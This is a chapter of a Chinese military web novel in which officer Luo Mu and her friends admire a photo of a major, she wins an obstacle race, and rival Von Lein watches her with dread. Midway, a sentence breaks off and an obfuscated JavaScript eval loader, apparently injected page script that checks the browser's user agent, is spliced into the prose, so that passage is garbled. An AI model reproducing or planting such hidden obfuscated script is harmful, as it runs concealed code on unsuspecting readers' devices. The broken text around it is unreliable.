“他是我素味平生的学长。” “素味平生。”布莱尔重复一遍,不知道对这个答案是满意还是不满意。 “怎么会想到说他?”洛暮问。 “我同学从前线回来休养,我们休息日见了一面。她给我说第一师有个很厉害的营长,仗打得好,人也彬彬有礼,除了不爱说话基本上完美无缺。他是望渊出身的,我就先问问连长认不认识。万一你们很熟呢?” 洛暮心想你们是只要听到跟望渊有关的都要过来问下我么,可我确实是只闻其名不知其人。她说:“放心,我对他的了解仅限于名字。” “那巧了。因为除了我刚才说的种种优点之外,他还有一个优点,那就是……真的很帅!”似乎是回忆起什么,布莱尔罕见地有些激动。 “这恰恰是最不重要的优点。”洛暮想起当年弗吉尼亚失魂落魄的样子,微微笑了。 “不,连长,你看到就明白了。我这里有张照片。”布莱尔说。 “铺垫了这么久,原来他就是你要为我们展示的帅哥。”洛暮笑道,“放出来吧,我倒要看看有多帅。” “我也要看!”艾莉说。 这下她们三个又凑到一起了。 布莱尔把手举得高高的,在其他两人头顶操作半天,为的是避免提前泄露。终于,她调出照片,一手捂住手环屏幕,并缓缓地把它放到三人中间。 她严肃地告知:“做好心理准备。” 洛暮被这副阵仗整笑了:“好,心理准备。” 布莱尔慢慢拿开手掌。 38.薄荷香(五) 远处的士兵们还在进行着格斗,叫好声和欢呼声一阵阵传来,即使隔着道围墙也听得一清二楚。 但此刻一切都寂静了。 三个女孩坐在台阶上,她们紧密地围成一个半圆形,身子的阴影挡住了刺眼的阳光,让屏幕上的那个军官显得愈发清晰。 没有人说话,她们耳边什么喧嚣都消失了,这个瞬间视觉带来的巨大冲击让她们听觉触觉全部失灵,世界只剩下照片里容色沉静的青年,还有面对纯粹美丽的造物时人类最真实剧烈的心跳。 忘记呼吸大概说的就是这样的场景吧。 突然面临大脑无法理解也无法处理的美丽时,人类进化多年的理智就会失灵,一切后来习得的克制思考理性通通不复存在,只需要失神,震动以及油然而生的对无法触及美好之物的惋惜。 就像你第一次看到壮阔星群那样久久无言。 她们看得眼睛都酸了,因为眨眼都是浪费。 即使是早就经历过这般震撼的布莱尔也免不了再痴痴然一会,没有女生能在看到这张照片之后装出若无其事的样子。人类种种多样的审美此时全部统一,无人能从这张照片里挑剔出一丝不足。 “我喜欢他的眼神。”布莱尔小声地说。 “我也喜欢。”洛暮说。 她其实是第一个回神的,但她很快又放任自己多看几眼,美貌是能让大脑愉悦的,洛暮享受这种让人心慌意乱的冲击感。 “如果之前有人告诉我世上会有这样完美无瑕的人,我是一点都不信。但我现在信了……深沉的黑色眼睛,让人捉摸不透。”布莱尔接着说,声音中还能听出刚刚清醒后的眩晕感。 “东方人真是出帅哥啊。”艾莉终于找回自己的声音了,她以一种纯然赞美的态度说,“通常情况下,我不欣赏太过深沉冷静的男人,但他是个例外。” “我就很喜欢这种气质。”洛暮看着照片,它只是张证件照,青年身着少校军装,直视镜头,就好像在与她对视。恐怕没有几个人能在这双眼睛前镇定自若。洛暮心想。 她不由低低念出那句诗:“而你转身走入松林,现在是雪崩前夜。” “他的脸庞是有些清瘦了,但肩膀与手臂看着很有力度,不显单薄,我想他应该身姿挺拔。呵,少见的,沉稳隽永的男人。”与其他二人捕捉不到重点的感叹相比,艾莉的鉴赏就很全面了。 “是的。如果只有这张脸也罢了,可他偏偏还所向披靡,骁勇善战。”布莱尔没有忘记军人最该具备的那些品质。 “确实。很完美,很完美。”艾莉鼓掌,“面对如此完美的一个男人,大家有何想法?” 布莱尔脸红了。 洛暮不说话,她仍在端详那张照片。 “怎么都没声音了?”艾莉吃惊。 “不如先让布莱尔把手环关掉,否则对着照片说话都很困难。”洛暮提议。 手环屏幕熄灭了,她们三个又恢复到平坐一排的状态。洛暮面带微笑,布莱尔双颊绯红,艾莉是最自然的那个,她毕竟是唯一有感情经历的人。 “我会问他要张签名,或者一起拍个照片什么的。”布莱尔羞答答地说。 “崇拜型,怎么不能再大胆一点?”艾莉笑嘻嘻地打趣,“下一个,洛连长呢?” “如果他是我男朋友的话,我会比他睡得晚一点,起得早一点。”洛暮说。 “这是为什么?”另外两人吃惊。 “因为我想静静地看着他,什么也不做。面对这样一个人,我会萌生出一种守到天荒地老的冲动感。”洛暮淡然地说。 她说这话时绝对没有料到,今后常常这样做的人居然是苏愈,而安然入睡的那个人是她。 “洛连长原来是浪漫主义!”艾莉欣然道。 “不,我老师都说我是抽象主义。” 她们都笑了。 “哎呀,洛连长还是太含蓄太浪漫,这样一看你确实是个小女孩。如果是我的话,哪里舍得让他睡觉,一分钟也别想浪费,非得……” “啊——艾莉快住口!”洛暮和布莱尔异口同声。 布莱尔羞得一句话都说不出来,洛暮则义正言辞道:“姐夫哥呢?我为姐夫哥发声!你已经把他抛到九霄云外去了!” 姐夫哥是她们对艾莉男友的称呼。 “唉,没有姐夫哥啦,我把姐夫哥甩啦。”艾莉长叹一声,脸上掠过一丝惆怅,但她立刻猛甩手道,“去他的,不要为了一棵树,放弃一片森林!” “这才是大女人!”其他两人说。 她们又是笑,又是闹。互相推搡了一阵后,洛暮站起来:“行啦,失踪这么久该回去了,替掉李秋阳他们。我可以说他们现在绝对当裁判当得想昏厥。” “好哇好哇,忙上一阵就可以去吃午饭,一起吗?”艾莉捋了捋被弄乱的头发跟上来。 “必须一起。”布莱尔很肯定地说,她不会放过任何一个聚餐的机会。 格斗这个项目一直进行到下午,军官们轮着当裁判,到最后洛暮也觉得自己要昏厥了,她趁着别人不注意给自己滴了好几次清凉油续命。 给战士们评完等级再归档,格斗算是告一段落。 紧跟着就是障碍越野。 军官们全都被安排在第一组,反正他们安排的场地够大,几十个人跑一场完全不成问题。 这种越野对洛暮来说难度并不大,考验的是耐力而非爆发力,她甚至都不需要唤醒心流。前半段洛暮并不急着冲刺,只是维持一个匀速的状态,因此一下子被众人甩到后面去了。 “连长要是有一米八就好。虽然平时感觉不出来,但今天一对比我就发现了,她其实是所有军官中最矮的那个。你看看,腿没有其他人长,起步就容易被超车。前半段落到最后面去了。”吴肖利说。 “大胆!你这是要造反。”所有战士一齐叫道。 “我这就去告密,让连长再奖励你一场对练。”有人说。 “放肆,这话敢在连长面前说吗。”高余问。 “喂喂,我可是说过的。她当时说天塌下来先压死高个的,然后再是她。拿身高和连长开玩笑,她才不会在意。”吴肖利笑起来。 “那是因为她自信能一拳打掉你的脑袋。最重要的是连长其实不低,只是其他人都太高了。说实话,我平时还觉得连长很高挑。”高余为洛暮辩经。 吴肖利诧异地看了高余一眼,意思是兄弟你不要骗我。 “真的,她应该是在平均身高水平之上。只要不对比,连长看起来绝对不算矮。所以说啊,对比真是最伤人的事情。”高余很是伤情地长叹一口气,不知道是不是在缅怀自己被隔壁家小孩对比得一无是处的童年。 “也是,你说得对。”吴肖利也表示了赞同,他看着前方悬挂的屏幕,“喔!连长开始加速了。” 果真,洛暮已经超过最后面的艾莉。 随着赛程过半所有人速度都慢下来,渐渐地进入到体力不支的状态。只有洛暮像是刚刚舒展完筋骨一样,把前面的人一个个甩到后面去。 她的表情看着很轻松。现在她正在翻一堵数米高的墙,同时抵达墙边的是李秋阳。 洛暮比李秋阳迅速多了,她灵巧地抓住上面的绳索,踩着落脚点攀爬上去,骨骼仿佛是空心的,轻盈不费一点力气。 等她跳下来的时候,李秋阳已经落在身后。因为他必须找支点落地而不能学洛暮直接跳到地上。 洛暮可以做到像千纸鹤一样飘然,李秋阳跳下去的话剧烈的冲击力有可能折断他的骨头。 “飞檐走壁,飞檐走壁啊!”吴肖利激动地喊道。 接下来是一段长跑,这时洛暮前面只剩下冯·莱恩。 两个人的状态截然不同,一个步履沉重,强行榨干身体里最后一点力量,每个细胞都在艰难地喘气。另一个像麋鹿般速捷,快到只有脚尖着地,弹跳力好得让人觉得她能这样跳到天上去。 洛暮从冯·莱恩身边经过的刹那,他完全没有捕捉到对方的影子,快到他以为是一阵风从身侧掠过。 他突然闻到一缕淡淡的清香,这正是清凉油挥发到空气中的薄荷香。它随着洛暮和冯·莱恩的擦身而过,在他鼻尖转瞬即逝。 没人注意到冯·莱恩踉跄了一下,那个瞬间他好像变得弱不禁风,被洛暮奔跑时带起的气流刮得步履不稳,马上要跌落在尘埃之中。 但他站住了,李秋阳就在他身后。这位军官也开始了最后的冲刺,离冯·莱恩只有遥遥几步。 这让冯·莱恩猛地惊醒。此刻他面色惨白,呼吸不畅,肺下一秒就要炸裂一样,可他还是拼命地抬起腿试图跑得更快一点。 他眼前的景色渐渐模糊不清,气管呼呼作响好像要断掉,冯·莱恩几乎到了身体的极限。但他不能被人超越,这太可怕了。 在开启拉锯战的两人前方,洛暮还在加速。 人们都说快得像离弦的箭,可除了形容街上突然窜过的牛逼哄哄一骑绝尘的跑车之外,很少有地方能用到这个词。 洛暮偶尔会眼疾手快地拉住同伴的手躲避这种不长眼睛的车,然后冷笑着说“有预感他不久以后一定会被撞死呢”。 那些车主的思路非常奇怪。追求速度明明有悬浮车可以挑选,他们非要在市区的地上公路开出这种速度,除了脑子有病之外找不出其他理由。扒开车门里面八成是浑浑噩噩的公子哥,车内弥漫着致幻剂奇异的香味。 洛暮现在的速度可以叫那群人汗颜了,他们只能猛踩油门让车变成离弦的箭,而洛暮自己就是射出的箭矢,击出的子弹。 漫长的越野过后,她居然还有力气狂奔,甚至她的速度还在加快。 士兵们也就是观众们都大声喊起她的名字,此时是哪个连的都无关紧要了,他们只是单纯地惊叹,为这个遥遥领先锐不可当的第一名喝彩。 太疯狂了,人类怎么能有这样的速度? 临近终点洛暮丝毫没有减速的意思,她直接冲过终点。 裁判们远远地退到旁边,一般这种越野到终点人都累得只剩半口气,结果洛暮硬生生把它搞成了百米赛跑,到终点的时候谁敢站在她前面就只有被撞飞的命。 她冲出去七八米才停下,摁住胸口大口喘息了几次后,抬起身慢慢地向裁判处走去。 团部的几个人都目瞪口呆,周霖面露得意之色,洛暮毕竟是他的下属,表现这么好整个营都与荣有焉。他说:“小洛!跑完不要急着休息,再走一会。立刻坐下对身体不好。” “是,营长!”洛暮说,她本身也没准备坐下,越野能有多累呢。 在终点提供服务的士兵都是一连的,他们递上能量饮料,洛暮摆摆手示意自己喝不下去。 其中一个士兵说:“洛连长,你真是太厉害了。我们在旁边看着都觉得好激动,恨不得上去和你一起跑。” “以后有的是机会。”洛暮笑道。 “连长!” 几声熟悉的呼喊让洛暮回头看去,她扬起眉。 原来是吴肖利他们几个士兵跑来了,每人手里都抱着一个纸箱。洛暮认出箱子上的标识,微微惊讶:“冰淇淋?” “对,我们提前准备好的。看你快到终点时就过来了,连长尝一个吗?”吴肖利问。 “我要根巧克力味的。”洛暮从箱子里拿出一根,不由得咦了一声,“这个牌子挺贵的,是谁出的钱,回头我给你们报账。” “不用,肖利牵头,我们连一起凑的。”高余说。 “啊呀,你们可真是……”洛暮不知道该说什么了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刚才是谁说不健康。太棒了洛连长,刚跑完就吃冰淇淋,你的肺和喉管可以不要了。”李秋阳看着消灭冰淇淋速度远快于自己的洛暮。 “不好意思,你在说什么。”洛暮冷笑道,“你难道不知道我这人油盐不进吗。” 后面来的一连和三连的军官们都自觉地取了冰淇淋到旁边歇着。 剧烈运动完立刻吃冷饮,这个行为虽然不健康,但是爽啊。哪个当兵的经受得住这个诱惑? 奥利弗是越野的第四名,他到终点后就和冯·莱恩站在一起。二连的气氛总是沉闷的,奥利弗佯装无意地往洛暮那边看了好几次,他没敢明显地表现出自己的向往。 冯·莱恩沉默着。 奥利弗真的觉得有点尴尬,他很想说点什么打破这种死寂,显得他们二连也还是有活力的。 那位一直同战友说笑的三连连长突然站了起来,奥利弗一下注意到这个动作。他紧紧盯着洛暮,心里莫名其妙涌上一种期待。 洛暮拿起装冰淇淋的纸箱,径直走到奥利弗面前。她往前一递,以他们之间的交情这是个非常大胆的尝试,她似乎压根不害怕被拒绝:“奥利弗队长,你要吗?” 奥利弗早就把冯·莱恩忘到脑后了,什么连长的脸色,去他的吧。这才叫战友对不对?但他压抑着激动,很礼貌地客套道:“这不好意思,洛连长。” “唉,你也要学营长那样和我三推三让吗?我可要转身就走了。” “好吧,那就多谢洛连长。”奥利弗完全不敢挑口味,他拿的时候生怕自己动作慢了让洛暮不高兴。 “嚯,你真是随遇而安。”洛暮被他盲选的动作震住了,她又看向冯·莱恩。 二连的连长低垂双眼,看不清脸上的表情。 洛暮想说点什么,但她犹豫一下,对奥利弗点点头就走开了。 她走的时候又带起一阵风,奥利弗迷惑地眨着眼睛,他也闻到了空气中淡淡的薄荷香,清新得让人心情一振。 他心想原来洛连长这种人居然也会用香水吗,但薄荷香水实在是太少见了。奥利弗没意识到这是清凉油的气味,他拆开冰淇淋的包装袋。 这时候奥利弗终于意识到还有连长的存在了,他决定问句“连长你要吗”客气一下,反正冯·莱恩一定不会要。 但就当他抬起头看向冯·莱恩时,奥利弗发现自己这位向来谁也不放在眼里的连长居然在望着对面出神。 奥利弗顺着他的目光看去,那里站着洛暮,她在和一位士兵交谈。奥利弗心想怎么你也终于渴望热闹了吗,他正想开口,却突然怔住了,因为冯·莱恩实在是太奇怪了。 他看向洛暮的目光绝非打量或者审视,他的神色茫然又惊恐,好像站在那里的不是同僚,而是一个阔别经年的鬼魂。它在光天化日下堂而皇之地出现,对着他微微冷笑。 现在是夏天的末尾,但冯·莱恩感受到一股从地底冒出的冷气,它带走他全身的热量,令他如坠冰窟。 洛暮敏锐地注意到对面投来的注视,她望向冯·莱恩,唇边掠过一丝微笑。这是她笑容的起手式,它马上就可以随着主人的心意表达出友善讽刺嘲弄种种意味。它现在是个向窥探者致意的笑。 冯·莱恩毫无反应。 这时洛暮身边站了很多人,他们都在交谈在打趣。 可他什么都看不见了,那地方只剩下洛暮,微微笑着的洛暮。她的身后空旷无垠,但又奇迹般地冒出无数灰色的影子,天空与大地缄默不语。 透过洛暮,他仿佛又看见了那漫天飞舞的旧衣,它们在空中跳跃着,被衣架撑起不可思议的弧度,像是鼓满的船帆,很多年的岁月和风从它们中间缓缓流过。